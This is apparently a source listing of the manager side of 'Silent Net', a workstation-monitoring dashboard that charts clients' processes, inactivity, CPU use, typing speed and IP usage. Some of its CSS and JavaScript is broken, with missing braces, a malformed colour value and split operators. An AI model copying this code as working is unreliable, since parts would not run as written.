.delete-btn {
    background: none;
    border: none;
    color: #ff6b6b;
    cursor: pointer;
    padding: 5px;
    margin-left: 5px;
    border-radius: 50%;
    width: 30px;
    height: 30px;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all 0.3s ease;
}
```

```
.delete-btn:hover {
    background-color: rgba(255, 107, 107, 0.2);
    transform: scale(1.1);
.delete-btn:active {
    transform: scale(0.95);
}
.connection-status {
    display: inline-block;
    width: 12px;
    height: 12px;
    border-radius: 50%;
    margin-right: 10px;
    box-shadow: 0 0 5px currentColor;
    transition: all 0.3s ease;
}
.connection-status.connected {
    background-color: #28a745;
    box-shadow: 0 0 10px #28a745;
}
.connection-status.disconnected {
    background-color: #dc3545;
    box-shadow: 0 0 5px #dc3545;
    opacity: 0.6;
}
.button {
    display: flex;
    align-items: center;
    justify-content: flex-start;
    padding-left: 15px;
}
.settings-btn {
    display: inline-block;
    margin: 20px 10px;
    padding: 12px 25px;
    font-size: 18px;
    background-color: #6c757d;
    color: white;
    border: none;
    cursor: pointer;
    text-align: center;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: background-color 0.3s ease, transform 0.3s ease;
}
```

```
.settings-btn:hover {
    background-color: #5a6268;
    transform: translateY(-3px);
}
.settings-btn:active {
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
```

manager\static\css - opening_screen.css

```
body {
    margin: 0;
    padding: 0;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    font-family: 'Arial', sans-serif;
    color: white;
    box-shadow: none;
    outline: none;
    overflow: hidden;
}
.logo {
    width: 300px;
    height: auto;
    margin-bottom: 40px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    mix-blend-mode: lighten;
    animation: float 3s ease-in-out infinite;
}
@keyframes float {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-10px); }
}
.password-container {
    margin-top: 20px;
    display: flex;
    flex-direction: column;
    align-items: center;
}
.password-input {
    width: 250px;
    padding: 10px 15px;
    font-size: 1rem;
    border: 2px solid rgba(255, 255, 255, 0.3);
    border-radius: 10px;
    background: rgba(255, 255, 255, 0.1);
    color: white;
    outline: none;
    backdrop-filter: blur(5px);
    transition: all 0.3s ease-in-out;
}
.password-input:focus {
    border-color: rgba(255, 255, 255, 0.5);
    background: rgba(255, 255, 255, 0.2);
```

manager\static\css - opening_screen.css

```
box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}
.submit-button {
    margin-top: 15px;
    padding: 10px 20px;
    font-size: 1rem;
    border: none;
    border-radius: 10px;
    background: rgba(255, 255, 255, 0.1);
    color: white;
    cursor: pointer;
    backdrop-filter: blur(5px);
    transition: all 0.3s ease-in-out;
}
.submit-button:hover {
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}
.exit-btn {
    margin-top: 20px;
    padding: 10px 20px;
    font-size: 1rem;
    border: none;
    border-radius: 10px;
    background: rgba(255, 255, 255, 0.1);
    color: white;
    cursor: pointer;
    backdrop-filter: blur(5px);
    transition: all 0.3s ease-in-out;
}
.exit-btn:hover {
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}
.error-message {
    margin-top: 15px;
    color: #ff4444;
    font-size: 0.9rem;
    display: none;
    animation: shake 0.5s ease-in-out;
}
@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-10px); }
    50% { transform: translateX(10px); }
    75% { transform: translateX(-10px); }
}
```

manager\static\css - opening_screen.css

```
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1)
    10%, transparent 10.01%);
    background-size: 20px 20px;
    animation: moveBackground 10s infinite linear;
    z-index: -1;
}
.password-input, .submit-button, .exit-btn {
    box-shadow: 0 0 5px rgba(255, 255, 255, 0.2);
}
.password-input:focus, .submit-button:hover, .exit-btn:hover {
    box-shadow: 0 0 10px rgba(255, 255, 255, 0.4);
}
```

manager\static\css - settings_screen.css

```
body {
    margin: 0;
    padding: 0;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    font-family: 'Arial', sans-serif;
    color: white;
    box-shadow: none;
    outline: none;
    overflow: hidden;
}
.logo {
    width: 300px;
    height: auto;
    margin-bottom: 40px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    mix-blend-mode: lighten;
}
.form-container {
    width: 80%;
    max-width: 600px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 30px;
}
.slider-container {
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: stretch;
}
.slider-label {
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 1.2rem;
    margin-bottom: 10px;
}
.slider {
    width: 100%;
    height: 15px;
    appearance: none;
    background: #dddddd;
```

manager\static\css - settings_screen.css

```
border-radius: 5px;
    outline: none;
    transition: background 0.3s;
}
.slider:hover {
    background: #ccccc;
}
.submit-button {
    margin-top: 20px;
    padding: 10px 30px;
    font-size: 1.2rem;
    color: #ffffff;
    background-color: #007bff;
    border: none;
    border-radius: 5px;
    cursor: pointer;
}
.submit-button:hover {
    background-color: #0056b3;
}
.message {
    font-size: 1.8rem;
    text-align: center;
    color: #ffffff;
    background: rgba(255, 255, 255, 0.1);
    border: 2px solid rgba(255, 255, 255, 0.3);
    border-radius: 15px;
    padding: 20px 40px;
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.15);
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    backdrop-filter: blur(10px);
}
.message:hover {
    background: rgba(255, 255, 255, 0.2);
    border-color: rgba(255, 255, 255, 0.5);
    box-shadow: 0px 6px 8px rgba(0, 0, 0, 0.2);
    transition: all 0.3s ease-in-out;
}
body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1)
    10%, transparent 10.01%);
```

manager\static\css - settings_screen.css

```
background-size: 20px 20px;
animation: moveBackground 10s infinite linear;
z-index: -1;
```

}

```
body {
    font-family: 'Roboto', sans-serif;
    margin: 0;
    padding: 0;
    padding-top: 150px;
    background: #1e1e2f;
    color: #fff;
}
.container {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 20px;
    padding: 20px;
    position: relative;
    max-width: 1200px;
    margin-left: auto;
    margin-right: auto;
}
.card {
    background: #2a2a40;
    border-radius: 10px;
    padding: 20px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: all 0.5s ease;
    cursor: pointer;
    position: relative;
}
.card h3 {
    margin-top: 0;
    font-size: 1.5rem;
    color: #00d1b2;
}
.expanded-card h3 {
    color: #00d1b2;
.chart-container {
    width: 100%;
    height: 200px;
    margin-top: 10px;
    transition: height 0.5s ease;
}
.close-btn {
    position: absolute;
    top: 10px;
    right: 10px;
    background-color: #ff4d4d;
    color: white;
```

```
border: none;
    border-radius: 50%;
    width: 30px;
    height: 30px;
    cursor: pointer;
    font-size: 16px;
    display: none;
    z-index: 1000;
}
.expanded-card {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%) scale(0.9);
    width: 80%;
    height: 80%;
    z-index: 100;
    box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
    background: #2a2a40;
    border-radius: 10px;
    padding: 20px;
    opacity: 0;
    transition: all 0.3s ease;
    pointer-events: none;
    display: flex;
    flex-direction: column;
}
.expanded-card.active {
    opacity: 1;
    transform: translate(-50%, -50%) scale(1);
    pointer-events: auto;
}
.expanded-card .close-btn {
    display: block;
}
.expanded-card .chart-container {
    flex: 1;
   height: auto;
    margin-top: 20px;
}
.overlay {
   position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.7);
    z-index: 99;
```

```
opacity: 0;
    transition: opacity 0.3s ease;
    pointer-events: none;
}
.overlay.active {
    opacity: 1;
    pointer-events: auto;
}
.logo {
    position: fixed;
    top: 20px;
    right: 20px;
    width: 100px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    z-index: 1000;
}
.return-btn {
    position: fixed;
    top: 20px;
    left: 20px;
    padding: 10px 20px;
    background-color: #007bff;
    color: white;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
    transition: background-color 0.3s ease;
    z-index: 1000;
}
.return-btn:hover {
    background-color: #0056b3;
}
.wpm-number {
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100%;
    font-size: 4rem;
    color: #00d1b2;
    text-shadow: 0 0 10px rgba(0, 209, 178, 0.7), 0 0 20px rgba(0,
    209, 178, 0.5);
    animation: glow 1.5s infinite alternate;
}
@keyframes glow {
    from { text-shadow: 0 0 10px rgba(0, 209, 178, 0.7), 0 0 20px
    rgba(0, 209, 178, 0.5); }
```

```
to { text-shadow: 0 0 20px rgba(0, 209, 178, 0.9), 0 0 30px
    rgba(0, 209, 178, 0.7); }
}
.client-name-container {
    position: fixed;
    top: 20px;
    left: 50%;
    transform: translateX(-50%);
    text-align: center;
    font-size: 24px;
    font-weight: bold;
    color: #00d1b2;
    z-index: 9999;
    background: #1e1e2f;
    padding: 10px 20px;
    border-radius: 5px;
}
.name-change-container {
    position: fixed;
    top: 80px;
    left: 50%;
    transform: translateX(-50%);
    text-align: center;
    z-index: 9999;
    background: #1e1e2f;
    padding: 10px 20px;
    border-radius: 5px;
}
.name-change-container input {
    padding: 10px;
    border: 2px solid #00d1b2;
    border-radius: 5px;
    background: #2a2a40;
    color: #fff;
    font-size: 16px;
    margin-right: 10px;
}
.name-change-container button {
    padding: 10px 20px;
    background-color: #00d1b2;
    color: white;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
    transition: background-color 0.3s ease;
}
.name-change-container button:hover {
```

```
background-color: #009f8a;
}
.client-name-container, .name-change-container {
   position: fixed !important;
#cpu_usage {
    grid-column: span 1;
.refresh-btn {
   position: fixed;
    top: 20px;
    left: 150px; /* Positioned to the right of the return button */
   padding: 10px 20px;
   background-color: #00d1b2;
    color: white;
   border: none;
   border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
    transition: background-color 0.3s ease;
    z-index: 1000;
}
.refresh-btn:hover {
    background-color: #009f8a;
```

}

manager\static\js - http_error.js

```
let timeLeft = 10;
const countdownElement = document.getElementById('countdown');
const redirectButton = document.getElementById('redirectButton');
const redirectToPrevious = () => {
    window.location.href = redirectUrl; // Use the passed redirect URL
};
const timer = setInterval(() => {
    timeLeft--;
    countdownElement.textContent = timeLeft;
    if (timeLeft <= 0) {</pre>
        clearInterval(timer);
        redirectToPrevious();
    }
}, 1000);
redirectButton.addEventListener('click', (e) => {
    e.preventDefault();
    clearInterval(timer);
   redirectToPrevious();
});
```

manager\static\js - loading_screen.js

```
function manualConnect() {
    fetch('/manual-connect')
        .then(response => response.json())
        .then(data => {
            if (data.status === true) {
                 alert("Connected successfully!");
                 window.location.href = '/';
            } else {
                 alert("Connection attempt failed. Please try again.");
            }
        });
}
function exitProgram() {
        window.location.href = "exit";
}
```

manager\static\js - name_screen.js

```
function showTooltip(text) {
   const tooltip = document.getElementById('tooltip');
   tooltip.textContent = text;
   tooltip.style.display = 'block';
}
function hideTooltip() {
   const tooltip = document.getElementById('tooltip');
    tooltip.style.display = 'none';
}
function deleteName(name) {
    if (confirm(`Are you sure you want to delete "${name}"?`)) {
        fetch('/delete_client', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({ name: name })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                // Find the exact name card to remove
                const cards = document.querySelectorAll('.name-card');
                cards.forEach(card => {
                    const button = card.querySelector('.button');
                    if (button && button.textContent.trim() === name | |
                        button.textContent.trim() === name + '...') {
                        card.remove();
                    }
                });
            } else {
                alert('Failed to delete: ' + data.message);
        })
        .catch(error => {
            console.error('Error:', error);
            alert('An error occurred while deleting');
        });
    }
```

manager\static\js - opening_screen.js

```
const urlParams = new URLSearchParams(window.location.search);
const passwordIncorrect = urlParams.get('password_incorrect');

if (passwordIncorrect === 'true') {
    document.getElementById('error-message').style.display = 'block';
}
```

```
function updateSliderValue(sliderId, valueId) {
   const slider = document.getElementById(sliderId);
   const valueDisplay = document.getElementById(valueId);
   valueDisplay.textContent = slider.value;
}
```

```
let processChart, inactivityChart, cpuUsageChart, ipsChart;
const coreColors = {};
function getRandomColor() {
   const r = Math.floor(Math.random() * 256);
   const g = Math.floor(Math.random() * 256);
   const b = Math.floor(Math.random() * 256);
   return `rgba(${r}, ${g}, ${b}, 0.8)`;
}
function refreshData() {
   const button = document.querySelector('.refresh-btn');
   button.disabled = true;
   button.textContent = 'Refreshing...';
   const clientName =
   document.getElementById('clientName').textContent;
   window.location.href =
    `/stats_screen?client_name=${encodeURIComponent(clientName)}`;
// Helper function to create Process Chart
function createProcessChart(canvasElement) {
   return new Chart(canvasElement, {
        type: 'bar',
        data: {
            labels: stats.processes.labels,
            datasets: [{
                data: stats.processes.data,
                backgroundColor: '#00d1b2',
            } ]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            plugins: {
                legend: { display: false }
            },
            scales: {
                y: {
                    beginAtZero: true,
                    ticks: {
                        precision: 0,
                        callback: function(value) {
                            if (value % 1 === 0) return value;
                        }
                    },
                    suggestedMax: Math.max(...stats.processes.data)
                    > 0 ?
                        Math.max(...stats.processes.data) * 1.2 : 10
                }
            }
        }
```

```
});
// Helper function to create Inactivity Chart
function createInactivityChart(canvasElement) {
    const parsedDates = stats.inactivity.labels.map(dateStr => {
        const dateTime = luxon.DateTime.fromFormat(dateStr,
        'yyyy-MM-dd HH:mm:ss');
        return dateTime.isValid ? dateTime.toJSDate() : null;
    }).filter(date => date !== null);
   const PADDING_MINUTES = 5;
   let minDate = parsedDates.length ? new
   Date(Math.min(...parsedDates)) : new Date();
   let maxDate = parsedDates.length ? new
   Date(Math.max(...parsedDates)) : new Date();
   minDate = new Date(minDate.getTime() - PADDING_MINUTES * 60000);
   maxDate = new Date(maxDate.getTime() + PADDING_MINUTES * 60000);
   return new Chart(canvasElement, {
        type: 'scatter',
        data: {
            datasets: [{
                label: 'Inactive Time (minutes)',
                data: parsedDates.map((date, index) => ({
                    x: date,
                    y: stats.inactivity.data[index],
                    luxon.DateTime.fromJSDate(date).toFormat('yyyy-
                    MM-dd HH:mm:ss')
                })),
                backgroundColor: '#00d1b2',
                pointRadius: 5,
                pointHoverRadius: 7,
            } ]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            scales: {
                x: {
                    type: 'time',
                    time: {
                        unit: 'minute',
                        tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
                        displayFormats: {
                            minute: 'HH:mm',
                            hour: 'HH:mm',
                            day: 'yyyy-MM-dd'
                        }
                    },
                    title: { display: true, text: 'Time' },
```

```
min: minDate,
                    max: maxDate,
                },
                y: {
                    beginAtZero: true,
                    min: 0,
                    title: { display: true, text: 'Inactive Time
                    (minutes)' },
                    ticks: {
                        precision: 0,
                        callback: function(value) {
                             if (value % 1 === 0) return value;
                    }
                }
            },
            plugins: {
                tooltip: {
                    callbacks: {
                        label: (context) => {
                             const time = context.raw.label | |
                             luxon.DateTime.fromJSDate(context.raw.x
                             ).toFormat('HH:mm:ss');
                             return [
                                 `Time: ${time}`,
                                 `Inactive: ${context.raw.y} minutes`
                             ];
                         }
                    }
                }
            }
        }
    });
// Helper function to create CPU Usage Chart
function createCpuUsageChart(canvasElement) {
    const cpuDataWithTimestamps =
    stats.cpu_usage.labels.map((label, i) => ({
        time: luxon.DateTime.fromFormat(label, 'yyyy-MM-dd
        HH:mm:ss').toJSDate(),
        usage: stats.cpu_usage.data.usage.map(core => core[i]),
    }));
    cpuDataWithTimestamps.sort((a, b) => a.time - b.time);
    const sortedLabels = cpuDataWithTimestamps.map(d => d.time);
    const sortedUsage = stats.cpu_usage.data.cores.map((_,
    coreIndex) =>
        cpuDataWithTimestamps.map(d => d.usage[coreIndex]));
    return new Chart(canvasElement, {
        type: 'line',
```

```
data: {
    labels: sortedLabels,
    datasets: stats.cpu_usage.data.cores.map((core, index) => {
        const color = coreColors[core] || getRandomColor();
        coreColors[core] = color;
        return {
            label: `Core ${core}`,
            data: sortedUsage[index],
            borderColor: color,
            backgroundColor: 'rgba(0, 209, 178, 0.1)',
            borderWidth: 2,
            pointRadius: 5,
            pointBackgroundColor: color,
            pointBorderColor: color,
            fill: true,
            tension: 0.4,
        };
    })
},
options: {
    responsive: true,
    maintainAspectRatio: false,
    scales: {
        x: {
            type: 'time',
            time: {
                unit: 'minute',
                tooltipFormat: 'yyyy-MM-dd HH:mm:ss',
                displayFormats: {
                    minute: 'HH:mm',
                    hour: 'HH:mm',
                    day: 'yyyy-MM-dd'
                }
            },
            title: {
                display: true,
                text: 'Time'
            },
            grid: {
                display: true,
                color: 'rgba(255, 255, 255, 0.1)',
            },
            ticks: {
                autoSkip: false,
                maxRotation: 45,
                minRotation: 45,
            }
        },
        y: {
            title: {
                display: true,
                text: 'CPU Usage (%)'
```

```
},
                     suggestedMin: 0,
                     suggestedMax: 100,
                     grid: {
                         display: true,
                         color: 'rgba(255, 255, 255, 0.1)',
                     }
                 }
            },
            plugins: {
                legend: {
                    display: true,
                    position: 'top'
                },
                tooltip: {
                     callbacks: {
                         label: (context) => {
                             const label = context.dataset.label || '';
                             const value = context.raw || 0;
                             return `${label}: ${value}%`;
                         }
                     }
                }
            }
        }
    });
// Helper function to create IPs Chart
function createIpsChart(canvasElement) {
    return new Chart(canvasElement, {
        type: 'pie',
        data: {
            labels: stats.ips.labels,
            datasets: [{
                data: stats.ips.data,
                backgroundColor: stats.ips.labels.map(() =>
                getRandomColor()),
            } ]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            plugins: {
                legend: {
                    display: true,
                    position: 'bottom'
                 }
            }
        }
    });
```

```
// Initialize all charts
document.addEventListener('DOMContentLoaded', () => {
    console.log('Stats Data:', stats);
    processChart =
    createProcessChart(document.getElementById('processChart'));
    inactivityChart =
    createInactivityChart(document.getElementById('inactivityChart'));
    cpuUsageChart =
    createCpuUsageChart(document.getElementById('cpuUsageChart'));
    ipsChart = createIpsChart(document.getElementById('ipsChart'));
});
function expandCard(card) {
    const expandedCard = document.getElementById('expandedCard');
    const overlay = document.getElementById('overlay');
    const cardContent = card.cloneNode(true);
    expandedCard.innerHTML = cardContent.innerHTML;
    const closeButton = document.createElement('button');
    closeButton.className = 'close-btn';
    closeButton.innerText = 'X';
    closeButton.onclick = closeExpandedCard;
    expandedCard.appendChild(closeButton);
    switch(card.id) {
        case 'processes':
            createProcessChart(expandedCard.querySelector('canvas'));
            break;
        case 'inactivity':
            createInactivityChart(expandedCard.querySelector('canvas'));
            break;
        case 'cpu_usage':
            createCpuUsageChart(expandedCard.querySelector('canvas'));
            break;
        case 'ips':
            createIpsChart(expandedCard.querySelector('canvas'));
            break;
    }
    expandedCard.classList.add('active');
    overlay.classList.add('active');
}
function closeExpandedCard() {
    const expandedCard = document.getElementById('expandedCard');
    const overlay = document.getElementById('overlay');
    expandedCard.classList.remove('active');
    overlay.classList.remove('active');
}
```

```
document.querySelectorAll('.card').forEach(card => {
    card.addEventListener('click', () => {
        expandCard(card);
    });
});
function changeClientName() {
    const button = document.querySelector('.name-change-container
    button');
    button.disabled = true;
    const newName =
    document.getElementById('newClientName').value.trim();
        alert("Please enter a valid name.");
        button.disabled = false;
        return;
    }
    const forbiddenPattern = /['";\\/*\-]/;
    if (forbiddenPattern.test(newName)) {
        alert("Name contains invalid characters.");
        button.disabled = false;
        return;
    }
    const currentName =
    document.getElementById('clientName').textContent;
    fetch('/update_client_name', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            current_name: currentName,
            new_name: newName,
        }),
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            document.getElementById('clientName').textContent = newName;
            document.getElementById('newClientName').value = "";
            alert("Client name updated successfully!");
        } else {
            alert(data.message | | "Failed to update client name.");
        button.disabled = false;
    });
}
```

manager\templates - exit_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Exit Confirmation</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/exit_screen.css') }}">
</head>
<body>
    <div id="exit-window">
        <h2>Are you sure you want to exit the program?</h2>
        <div class="button-group">
            <button class="exit-btn"</pre>
            onclick="window.location.href='/exit-program'">Exit</button>
            <button class="cancel-btn"</pre>
            onclick="window.location.href='{{ previous_screen}
            }}'">No, Go Back</button>
        </div>
    </div>
</body>
</html>
```

manager\templates - http_error.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
   initial-scale=1.0">
    <title>404 - Page Not Found</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
   filename='css/http_error.css') }}">
</head>
<body>
    <div class="container">
        <h1>404</h1>
        <strong>Page Not Found</strong>
        The page you're looking for doesn't exist or has been
        moved.
        You will be automatically redirected to the previous
        page in <span id="countdown">10</span> seconds.
        <a href="{{ redirect_url }}" class="button"</pre>
        id="redirectButton">Go to Previous page Now</a>
    </div>
    <script src="{{ url_for('static', filename='js/http_error.js')}</pre>
    }}"></script>
    <script>
        // Pass the redirect URL to JavaScript
        const redirectUrl = "{{ redirect_url }}";
    </script>
</body>
</html>
```

manager\templates - internal_error.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
   initial-scale=1.0">
   <title>500 - Internal Server Error</title>
   <link rel="stylesheet" href="{{ url_for('static',</pre>
   filename='css/internal_error.css') }}">
</head>
<body>
    <div class="container">
        <h1>500</h1>
        <strong>Internal Server Error</strong>
        Oops! Something went wrong on our end. We're working to
        fix the issue. Please try again later.
        <a href="/loading" class="button">Go to Homepage</a>
    </div>
</body>
</html>
```

manager\templates - loading_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Silent Net - Connection</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/loading_screen.css') }}">
</head>
<body>
    <div id="logo">
        <img src="{{ url_for('static', filename='images/Logo.png')}</pre>
        }}" alt="Silent Net Logo" class="logo">
    </div>
    <div id="loading-window">
        <h2>Establishing Secure Connection...</h2>
        <div class="spinner"></div>
        <div class="connection-status">
            <span class="status-icon">■■</span>
            Server connection policy: Only one active manager
            session permitted
        </div>
        <div class="button-group">
            <button class="connect-btn"</pre>
            onclick="manualConnect()">Reconnect</button>
            <button class="exit-btn" onclick="exitProgram()">Exit
            Silent Net</button>
        </div>
    </div>
    <script src="{{ url_for('static',</pre>
    filename='js/loading_screen.js') }}"></script>
</body>
</html>
```

manager\templates - name_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Connected Clients</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/name_screen.css') }}">
</head>
<body>
    <img src="{{ url_for('static', filename='images/logo.png') }}"</pre>
    alt="Silent Net Logo" class="logo">
    <button class="refresh-btn"</pre>
    onclick="location.reload();">Refresh Users</button>
    <button class="settings-btn"</pre>
    onclick="window.location.href='/settings'">Settings</button>
    <button class="exit-btn"</pre>
    onclick="window.location.href='/exit'">Exit</button>
    <div id="tooltip" class="tooltip"></div>
    <div class="container">
        {% for name, activity, connected in name_list %}
        <div class="name-card">
             <form action="/stats_screen" method="get" class="name-form">
                 <input type="hidden" name="client_name" value="{{</pre>
                 name }}">
                 <button class="button" type="submit"</pre>
                 onmouseover="showTooltip('{{ name }}')"
                 onmouseout="hideTooltip()" style="background-color:
                 rgb({{ 255 - (activity * 2.55) }}, {{ activity *
                 2.55 }}, 0);">
                     <span class="connection-status {% if connected</pre>
                     == 1 %}connected{% else %}disconnected{% endif
                     %}"></span>
                     {\{ \text{name}[:18] \}}{\{ \text{if name} | \text{length} > 18 } ...{\{ \}}
                     endif %}
                 </button>
             </form>
             <button class="delete-btn" onclick="deleteName('{{    name</pre>
             }}')" title="Delete this user">
                 <svg viewBox="0 0 24 24" width="18" height="18">
                     <path fill="currentColor"</pre>
                     d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2
                     0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z" />
                 </svg>
             </button>
        </div>
        {% endfor %}
    </div>
    <script src="{{ url_for('static', filename='js/name_screen.js')}</pre>
    }}"></script>
</body>
</html>
```

manager\templates - opening_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Silent Net</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/opening_screen.css') }}">
</head>
<body>
    <img src="{{ url_for('static', filename='images/Logo.png') }}"</pre>
    alt="Silent Net Logo" class="logo">
    <div class="password-container">
        <form method="POST" action="/check_password">
            <input type="password" class="password-input"</pre>
            name="password" placeholder="Enter Password">
            <button type="submit" class="submit-button">Submit</button>
        </form>
        <div class="error-message" id="error-message">
            Incorrect password. Please try again.
        </div>
    </div>
    <button class="exit-btn"</pre>
    onclick="window.location.href='/exit'">Exit</button>
    <script src="{{ url_for('static',</pre>
    filename='js/opening_screen.js') }}"></script>
</body>
</html>
```

manager\templates - settings_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Settings</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/settings_screen.css') }}">
</head>
<body>
    <img src="{{ url_for('static', filename='images/logo.png') }}"</pre>
    alt="Silent Net Logo" class="logo">
    <form action="/submit_settings" method="POST"</pre>
    class="form-container">
        <div class="slider-container">
            <div class="slider-label">
                <label for="employees-slider">Employees Amount</label>
                 <span id="employees-value">1</span>
            <input id="employees-slider" name="employees_amount"</pre>
            type="range" min="1" max="40" value="1" class="slider"
            oninput="updateSliderValue('employees-slider',
            'employees-value')">
        </div>
        <div class="slider-container">
            <div class="slider-label">
                <label for="safety-slider">Safety</label>
                 <span id="safety-value">1</span>
            </div>
            <input id="safety-slider" name="safety" type="range"</pre>
            min="1" max="5" value="1" class="slider"
            oninput="updateSliderValue('safety-slider',
            'safety-value')">
        </div>
        <button type="submit" class="submit-button">Start</button>
    </form>
    <script src="{{ url_for('static',</pre>
    filename='js/settings_screen.js') }}"></script>
</body>
</html>
```

manager\templates - stats_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,</pre>
    initial-scale=1.0">
    <title>Client Statistics</title>
    <link rel="stylesheet" href="{{ url_for('static',</pre>
    filename='css/stats_screen.css') }}">
    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/luxon"></script>
    <script
    src="https://cdn.jsdelivr.net/npm/chartjs-adapter-luxon"></script>
</head>
<body>
    <img src="{{ url_for('static', filename='images/Logo.png') }}"</pre>
    alt="Logo" class="logo">
    <button class="return-btn"</pre>
    onclick="window.location.href='/employees'">Return</button>
    <button class="refresh-btn" onclick="refreshData()">Refresh</button>
    <div class="client-name-container">
        Client: <span id="clientName">{{ client_name }}</span>
    </div>
    <div class="name-change-container">
        <input type="text" id="newClientName" placeholder="Enter</pre>
        new client name">
        <button onclick="changeClientName()">Change Name</button>
    </div>
    <div class="container">
        <div class="card" id="processes">
            <h3>Processes Usage</h3>
            <div class="chart-container">
                <canvas id="processChart"></canvas>
            </div>
        </div>
        <div class="card" id="inactivity">
            <h3>Inactive Periods</h3>
            <div class="chart-container">
                <canvas id="inactivityChart"></canvas>
            </div>
        </div>
        <div class="card" id="cpu_usage" style="grid-column: span 2;">
            <h3>CPU Usage</h3>
            <div class="chart-container">
                <canvas id="cpuUsageChart"></canvas>
            </div>
        </div>
        <div class="card" id="wpm">
            <h3>Words Per Minute (WPM)</h3>
            <div class="chart-container">
                <div class="wpm-number">
                     {{ stats.wpm }}
                </div>
```

manager\templates - stats_screen.html

```
</div>
        </div>
        <div class="card" id="ips">
            <h3>IP Usage</h3>
            <div class="chart-container">
                <canvas id="ipsChart"></canvas>
            </div>
        </div>
    </div>
    <div class="overlay" id="overlay"></div>
    <div class="expanded-card" id="expandedCard">
        <button class="close-btn"</pre>
        onclick="closeExpandedCard()">X</button>
    </div>
    <script type="text/javascript">
        const stats = {{ stats | tojson | safe }};
    </script>
    <script src="{{ url_for('static',</pre>
    filename='js/stats_screen.js') }}"></script>
</body>
</html>
```

```
'Silent net' project data base handling
#
#
#
#
    Omer Kfir (C)
import sqlite3, threading, os, sys
from datetime import datetime
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file
___), '.../shared')))
from protocol import MessageParser
from filter import process_filter
__author__ = "Omer Kfir"
class DBHandler():
        Base class for database handling
    11 11 11
    DB_NAME = "server_db.db"
    _lock : threading.Lock = threading.RLock()
    def __init__(self, conn, cursor, table_name: str):
        Initialize database connection using an existing connection
        and cursor.
